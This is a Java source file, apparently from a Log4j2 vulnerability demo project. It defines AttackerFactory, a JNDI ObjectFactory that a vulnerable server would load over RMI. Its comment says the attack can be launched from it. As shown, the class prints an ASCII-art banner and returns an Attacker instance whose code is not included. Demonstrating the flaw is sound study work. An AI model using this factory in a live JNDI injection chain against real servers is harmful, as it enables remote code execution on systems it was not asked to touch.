package com.morningyet.bug.log4j2.attacker.hacker;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * 攻击工厂类,用户创建攻击类实例
 *
 * 在此类的getObjectInstance方法中可发起攻击,适用于rmi。
 *
 * @author moringyet
 */
public class AttackerFactory implements ObjectFactory {

    private static final String BANNER = "                   .::::.\n" +
            "                 .::::::::.\n" +
            "                :::::::::::\n" +
            "             ..:::::::::::'\n" +
            "          '::::::::::::'\n" +
            "            .::::::::::\n" +
            "       '::::::::::::::..\n" +
            "            ..::::::::::::.\n" +
            "          ``::::::::::::::::\n" +
            "           ::::``:::::::::'        .:::.\n" +
            "          ::::'   ':::::'       .::::::::.\n" +
            "        .::::'      ::::     .:::::::'::::.\n" +
            "       .:::'       :::::  .:::::::::' ':::::.\n" +
            "      .::'        :::::.:::::::::'      ':::::.\n" +
            "     .::'         ::::::::::::::'         ``::::.\n" +
            " ...:::           ::::::::::::'              ``::.\n" +
            "```` ':.          ':::::::::'                  ::::..\n" +
            "                   '.:::::'                    ':'````..";

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(BANNER);
        return new Attacker();
    }

}
